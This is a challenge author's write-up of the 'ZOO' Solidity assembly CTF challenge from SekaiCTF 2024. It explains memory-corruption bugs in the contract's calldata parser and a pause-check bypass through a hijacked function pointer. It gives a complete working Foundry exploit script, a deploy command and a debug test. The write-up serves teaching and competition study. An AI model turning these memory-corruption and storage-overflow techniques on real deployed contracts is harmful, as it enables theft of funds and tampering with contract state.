I made solidity assembly challenge in sekai ctf 2024. ended up with 13 solves. you can check the detail here
ZOO
welcome to assembly zoo
There are two functions, fallback
and commit (internal)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
fallback() external payable {
function(bytes memory)[] memory functions = new function(
bytes memory
)[](1);
functions[0] = commit;
bytes memory local_animals;
assembly {
let arr := mload(0x40)
let size := calldatasize()
mstore(arr, size)
let size_align := add(add(size, sub(0x20, mod(size, 0x20))), 0x20)
mstore(0x40, add(arr, size_align))
calldatacopy(add(arr, 0x20), 0, size)
local_animals := mload(0x40)
mstore(0x40, add(local_animals, 0x120))
in fallback
function, first it creates function pointer array with length 1. And then, it copies the calldata to arr
, with the calldatasize aligned to 0x20 and allocates local_animals with size 0x120. If we sent 0x200 size of calldata, the memory layout is as follows
offset | value | comment |
---|---|---|
0x80 | 0x01 | length of functions |
0xa0 | 0x31b | offset of commit function |
0xc0 | 0xXX | calldatasize |
0xe0 | 0xXX | calldata |
… | ||
0x300 | 0x00 | local_animals count |
0x320 | 0xXX | offset of first local_animal |
0x400 | 0xXX | offset of last local_animal |
It provides 3 types of opcode
- add_animal (0x10)
- edit_animal (0x20)
- del_animal (0x30)
The format of the calldata is as follows. (The number in parentheses indicates the size)
A | B | C | D | E | |
---|---|---|---|---|---|
1 | ADD(1) | IDX(1) | NAME_LENGTH(2) | TYPE(2) | NAME(NAME_LENGTH) |
2 | EDIT(1) | IDX(1) | EDIT_TYPE(1) | NAME_LENGTH(2) | NAME(NAME_LENGTH) |
3 | EDIT(1) | IDX(1) | EDIT_TYPE(1) | NEW_TYPE(2) | |
4 | DEL(1) | IDX(1) |
fallback - analysis
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
case 0x10 {
let idx := mload(add(add(arr, 0x20), i))
idx := shr(0xf8, idx)
i := add(i, 1)
if gt(idx, 7) {
revert(0, 0)
}
let name_length := mload(add(add(arr, 0x20), i))
name_length := shr(0xf0, name_length)
i := add(i, 2)
let animal_index := mload(add(add(arr, 0x20), i))
animal_index := shr(0xf0, animal_index)
i := add(i, 2)
let temp := mload(0x40)
mstore(temp, animal_index)
mcopy(add(temp, 0x40), add(add(arr, 0x20), i), name_length)
i := add(i, name_length)
name_length := add(
name_length,
sub(0x20, mod(name_length, 0x20))
)
mstore(add(temp, 0x20), name_length)
mstore(0x40, add(temp, add(name_length, 0x40)))
mstore(add(add(local_animals, 0x20), mul(0x20, idx)), temp)
let animals_count := mload(local_animals)
mstore(local_animals, add(animals_count, 1))
}
First, in add_animal, It checks whether the index is greater than 7. Then, it allocates memory based on name_length and adds it’s offset to local_animals and then increase animals count.
there’s no check to prevent allocating in the same slot multiple times, which could cause the animals count to exceed 7.
The structure of animal is as follows
offset | value | comment |
---|---|---|
0x00 | 0xXX | animal_index |
0x20 | 0xXX | animal_length (aligned to 0x20) |
0x40 | 0xXX | animal_name |
… |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
case 0x20 {
let idx := mload(add(add(arr, 0x20), i))
idx := shr(0xf8, idx)
i := add(i, 1)
if gt(idx, 7) {
revert(0, 0)
}
let offset := add(add(local_animals, 0x20), mul(0x20, idx))
let temp := mload(offset)
let edit_type := mload(add(add(arr, 0x20), i))
edit_type := shr(0xf8, edit_type)
i := add(i, 1)
switch edit_type
case 0x21 {
let name_length := mload(add(add(arr, 0x20), i))
name_length := shr(0xf0, name_length)
i := add(i, 2)
mcopy(
add(temp, 0x40),
add(add(arr, 0x20), i),
name_length
)
}
case 0x22 {
let new_type := mload(add(add(arr, 0x20), i))
new_type := shr(0xf0, new_type)
i := add(i, 2)
mstore(add(temp, 0x20), new_type)
}
}
Second, in edit_animal, It also checks whether the index is greater than 7. Then, It gets the type of edit.
- edit name (0x21): edit the name of animal with new length. This causes an overflow, allowing us to modify the contents of next-allocated animal
- edit type (0x22): edit type of animal with 2-byte type
there’s no check about offset 0, so we can modify 0x40~0x40+name_length
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
case 0x30 {
let idx := mload(add(add(arr, 0x20), i))
idx := shr(0xf8, idx)
i := add(i, 1)
if gt(idx, 7) {
revert(0, 0)
}
let offset := add(add(local_animals, 0x20), mul(0x20, idx))
let temp := mload(offset)
let copy_size := sub(0x100, mul(0x20, idx))
mcopy(offset, add(offset, 0x20), copy_size)
let animals_count := mload(local_animals)
animals_count := sub(animals_count, 1)
mstore(local_animals, animals_count)
}
Third, in del_animal, It also checks whether the index is greater than 7. Then, It moves forward by 0x20 bytes starting from index i.
here’s a wrong calculation,
sub(0x100, mul(0x20, idx))
so we can set the last element of local_animal 2-byte type of first animal. So we can get arbitrary memory write with this primitive.
offset | value | comment |
---|---|---|
0x320 | 0xXX | offset of first local_animal |
0x400 | 0xXX | offset of last local_animal |
0x420 | 0xXX | type of first aniamal |
0x440 | 0xXX | name_length of first animal |
0x460 | 0x00 | name of first animal |
… |
commit - analysis
Name | Type | Slot | Offset | Bytes | Contract |
---|---|---|---|---|---|
_paused | bool | 0 | 0 | 1 | src/ZOO.sol:ZOO |
isSolved | uint256 | 1 | 0 | 32 | src/ZOO.sol:ZOO |
animals | struct ZOO.AnimalWrapper[] | 2 | 0 | 32 | src/ZOO.sol:ZOO |
This is storage layout about ZOO contract.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
AnimalWrapper[] public animals;
struct AnimalWrapper {
Animal animal;
uint256 counter;
}
...
constructor() {
animals.push(AnimalWrapper(new Animal("PANDA", "PND"), 0));
animals.push(AnimalWrapper(new Animal("TIGER", "TGR"), 0));
animals.push(AnimalWrapper(new Animal("HORSE", "HRS"), 0));
animals.push(AnimalWrapper(new Animal("ZIBRA", "ZBR"), 0));
animals.push(AnimalWrapper(new Animal("HIPPO", "HPO"), 0));
animals.push(AnimalWrapper(new Animal("LION", "LON"), 0));
animals.push(AnimalWrapper(new Animal("BEAR", "BAR"), 0));
animals.push(AnimalWrapper(new Animal("WOLF", "WLF"), 0));
animals.push(AnimalWrapper(new Animal("ELEPHANT", "ELP"), 0));
animals.push(AnimalWrapper(new Animal("RHINO", "RNO"), 0));
// The ZOO is not opened yet :(
_pause();
}
In constructor, it pushes some Animal token and sets the ZOO contract to pause. animals
is AnimalWrapper struct array which has counter.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity 0.8.25;
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
contract Animal is ERC721, Ownable {
struct status {
uint256 feed;
string name;
}
mapping(uint256 => status) public animalStatus;
uint256 public counter;
constructor(string memory name, string memory symbol) ERC721(name, symbol) Ownable(msg.sender) {
}
function feed(uint256 tokenId, uint256 amount) public onlyOwner {
animalStatus[tokenId].feed += amount;
}
function setName(uint256 tokenId, string memory name) public onlyOwner {
animalStatus[tokenId].name = name;
}
function addAnimal(address to) public onlyOwner {
_safeMint(to, counter);
counter++;
}
}
Animal Contract is just ERC721 contract which only can called by owner. but it’s unreleated to the solution :3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
function commit(bytes memory data) internal whenNotPaused {
assembly {
let counter := 0
let length := mload(data)
for {
let i := 0
} lt(i, length) {
i := add(i, 1)
} {
let idx
let name
let memPtr := mload(0x40)
let ptr := mload(add(add(data, 0x20), counter))
idx := mload(ptr)
name := add(ptr, 0x20)
let name_length := mload(name)
counter := add(counter, 0x20)
mstore(0x00, animals.slot)
let slot_hash := keccak256(0x00, 0x20)
let animal_addr := sload(add(slot_hash, mul(2, idx)))
let animal_counter := sload(add(add(slot_hash, mul(2, idx)), 1))
if gt(animal_counter, 50) {
revert(0, 0)
}
mstore(memPtr, shl(0xe0, 0x1436163e))
mstore(add(memPtr, 0x4), caller())
pop(call(gas(), animal_addr, 0x00, memPtr, 0x24, memPtr, 0x00))
mstore(memPtr, shl(0xe0, 0x61bc221a))
pop(staticcall(gas(), animal_addr, memPtr, 0x20, memPtr, 0x20))
let animal_count := sub(mload(memPtr), 0x1)
mstore(memPtr, shl(0xe0, 0xfe55932a))
mstore(add(memPtr, 0x4), animal_count)
mstore(add(memPtr, 0x24), 0x40)
mstore(add(memPtr, 0x44), name_length)
mcopy(add(memPtr, 0x64), name, name_length)
pop(call(gas(), animal_addr, 0x00, memPtr, 0x84, memPtr, 0x00))
sstore(
add(add(slot_hash, mul(2, idx)), 1),
add(animal_counter, 1)
)
}
}
}
In commit function, It gets each animal name, index and mint animal to msg.sender
and increase each counter.
1
animal_counter = keccak256(animals.slot)+2*idx+1
animal_counter is calculated as above. It uses add to calculate so we can overflow it to return slot number 1 (slot number of isSolved
)
1
2
3
4
5
➜ (uint256(int256(-1)) - uint256(keccak256(abi.encode(2))))/2+1
Type: uint256
├ Hex: 0x5fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae225299
├ Hex (full word): 0x5fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae225299
└ Decimal: 43344706377821576760468996987613231211325356002982170351334206299952371618457
yeah, so we can pass that number as idx to increase isSolved by 1. but
- size of the idx is only 2-byte
- we should bypass pause to enter commit function
pause - bypass
you check the bytecode at bytegraph.xyz. It pushes 0x323 and checks whether slot 0 (pause) is zero, if not it reverts.
In EVM, we can only jump to JUMPDEST or it reverts. So, to bypass pause check, we should jump to 0x323.
Plan for Attack
there are various ways to manipulate memory :3
- Set
local_animals
to point to the offset with the target index (as mentioned above). - Set the offset of
commit
to 0x323 to bypass the pause check.
I used the bug of in del
- add a
fake_animal
with the target index in the name, and set its index to 0x400 (the offset of the first animal). - delete first index to set the 7th offset to 0x400 (offset of first animal)
- edit 7th type (first animal) to 0x80 (function table offset)
- delete first index to set the 7th offset to 0x80 (offset of function table)
- edit 7th type (offset of function_table) to 0x323 (over the pause check logic)
- edit 6th type (0x400) to 0x300 (offset of local_animal)
- delete first index to set the 7th offset to local_animal
- edit 7th type (first offset of local_animal) to 0x460 (offset of fake_animal)
- only one animal was added, but it was deleted three times, causing the
animal_count
to become a negative number. Now, add three animals to index 1. - add length padding to ensure the locate local_animal is located at 0x300
Solve.s.sol & solve.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
pragma solidity ^0.8.25;
import {Script, console2} from "forge-std/Script.sol";
interface Setup {
function zoo() external view returns (address);
function isSolved() external view returns (bool);
}
contract Solve is Script {
function run() public {
vm.startBroadcast();
Setup setup = Setup(vm.envAddress("SETUP"));
console2.log("setup", address(setup));
address zoo = setup.zoo();
console2.log("zoo", address(zoo));
// ADD(1) | IDX(1) | NAME_LENGTH(2) | TYPE(2) | NAME(NAME_LENGTH)
// EDIT(1) | IDX(1) | EDIT_TYPE(1) | NAME_LENGTH(2) | NAME(NAME_LENGTH)
// EDIT{1) | IDX(1) | EDIT_TYPE(1) | NEW_TYPE(2)
// DEL(1) | IDX(1)
// function pointer: 0x80 ( 0x312 )
// local animal : 0x300
// first animal: 0x320
// first alloc : 0x420
// fake_animal : 0x460
// 0x323 : over pause
uint256 target_idx = uint256(int256(-1)) - uint256(keccak256(abi.encode(2)));
uint16 target_jmp = 0x323;
uint16 function_table = 0x80;
uint16 first_alloc = 0x400;
uint16 local_animal = 0x300;
uint16 fake_animal_idx = 0x460;
target_idx /= 2;
target_idx += 1;
bytes memory call = "";
bytes memory fake_animal = abi.encodePacked(uint256(target_idx), uint256(0x20), hex"41414141");
call = abi.encodePacked(call, uint8(0x10),uint8(0x00),uint16(fake_animal.length),uint16(first_alloc), fake_animal);
call = abi.encodePacked(call, hex"3000");
call = abi.encodePacked(call, uint8(0x20),uint8(0x07),uint8(0x22), uint16(function_table));
call = abi.encodePacked(call, hex"3000");
call = abi.encodePacked(call, uint8(0x20),uint8(0x07),uint8(0x22), uint16(target_jmp));
call = abi.encodePacked(call, uint8(0x20),uint8(0x06),uint8(0x22), uint16(local_animal));
call = abi.encodePacked(call, hex"3000");
call = abi.encodePacked(call, uint8(0x20),uint8(0x07),uint8(0x22), uint16(fake_animal_idx));
call = abi.encodePacked(call, uint8(0x10),uint8(0x01),uint16(4),uint16(0x00),hex"41414141");
call = abi.encodePacked(call, uint8(0x10),uint8(0x01),uint16(4),uint16(0x00),hex"41414141");
call = abi.encodePacked(call, uint8(0x10),uint8(0x01),uint16(4),uint16(0x00),hex"41414141");
uint256 length = call.length;
console2.log("length", length);
uint256 target = 0x200 - length;
for (uint i = 0; i < target; i++) {
call = abi.encodePacked(call, hex"ba");
}
(bool success, bytes memory out) = address(zoo).call(call);
console2.log("solved?", setup.isSolved());
assert(setup.isSolved());
vm.stopBroadcast();
}
}
1
2
3
4
5
6
export RPC=<rpc>
export PVKEY=<pvKey>
export SETUP=<setup-address>
forge init --force .
forge script --broadcast --rpc-url $RPC --private-key $PVKEY ./Solve.s.sol:Solve --evm-version cancun
flag: SEKAI{super-duper-memory-master-:3}
pro tip - debug
using foundry debugger, you can easily debug the contract :3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
pragma solidity ^0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {ZOO} from "src/ZOO.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract ZOOTest is Test {
function test_run() public {
ZOO zoo = new ZOO();
// ADD(1) | IDX(1) | NAME_LENGTH(2) | TYPE(2) | NAME(NAME_LENGTH)
// EDIT(1) | IDX(1) | EDIT_TYPE(1) | NAME_LENGTH(2) | NAME(NAME_LENGTH)
// EDIT{1) | IDX(1) | EDIT_TYPE(1) | NEW_TYPE(2)
// DEL(1) | IDX(1)
// function pointer: 0x80 ( 0x312 )
// local animal : 0x300
// first animal: 0x320
// first alloc : 0x420
// fake_animal : 0x460
// 0x323 : over pause
uint256 target_idx = uint256(int256(-1)) - uint256(keccak256(abi.encode(2)));
uint16 target_jmp = 0x323;
uint16 function_table = 0x80;
uint16 first_alloc = 0x400;
uint16 local_animal = 0x300;
uint16 fake_animal_idx = 0x460;
target_idx /= 2;
target_idx += 1;
bytes memory call = "";
bytes memory fake_animal = abi.encodePacked(uint256(target_idx), uint256(0x20), hex"41414141");
call = abi.encodePacked(call, uint8(0x10),uint8(0x00),uint16(fake_animal.length),uint16(first_alloc), fake_animal);
call = abi.encodePacked(call, hex"3000");
call = abi.encodePacked(call, uint8(0x20),uint8(0x07),uint8(0x22), uint16(function_table));
call = abi.encodePacked(call, hex"3000");
call = abi.encodePacked(call, uint8(0x20),uint8(0x07),uint8(0x22), uint16(target_jmp));
call = abi.encodePacked(call, uint8(0x20),uint8(0x06),uint8(0x22), uint16(local_animal));
call = abi.encodePacked(call, hex"3000");
call = abi.encodePacked(call, uint8(0x20),uint8(0x07),uint8(0x22), uint16(fake_animal_idx));
call = abi.encodePacked(call, uint8(0x10),uint8(0x01),uint16(4),uint16(0x00),hex"41414141");
call = abi.encodePacked(call, uint8(0x10),uint8(0x01),uint16(4),uint16(0x00),hex"41414141");
call = abi.encodePacked(call, uint8(0x10),uint8(0x01),uint16(4),uint16(0x00),hex"41414141");
// Add length padding to ensure the correct offset
uint256 length = call.length;
console2.log("length", length);
uint256 target = 0x200 - length;
for (uint i = 0; i < target; i++) {
call = abi.encodePacked(call, hex"ba");
}
(bool success, bytes memory out) = address(zoo).call(call);
console2.log("success", success);
console2.log("length: ", out.length);
console2.logBytes(out);
console2.log("solved?", zoo.isSolved());
}
}
just write this code to test/ZOO.t.sol
and run this command
forge debug test/ZOO.t.sol:ZOOTest -s “test_run()”
\o3o/
Conclusion
Thank you for enjoy my chall and SekaiCTF 2024! I’ll return to SekaiCTF 2025 with even more harder non-EVM challenge :3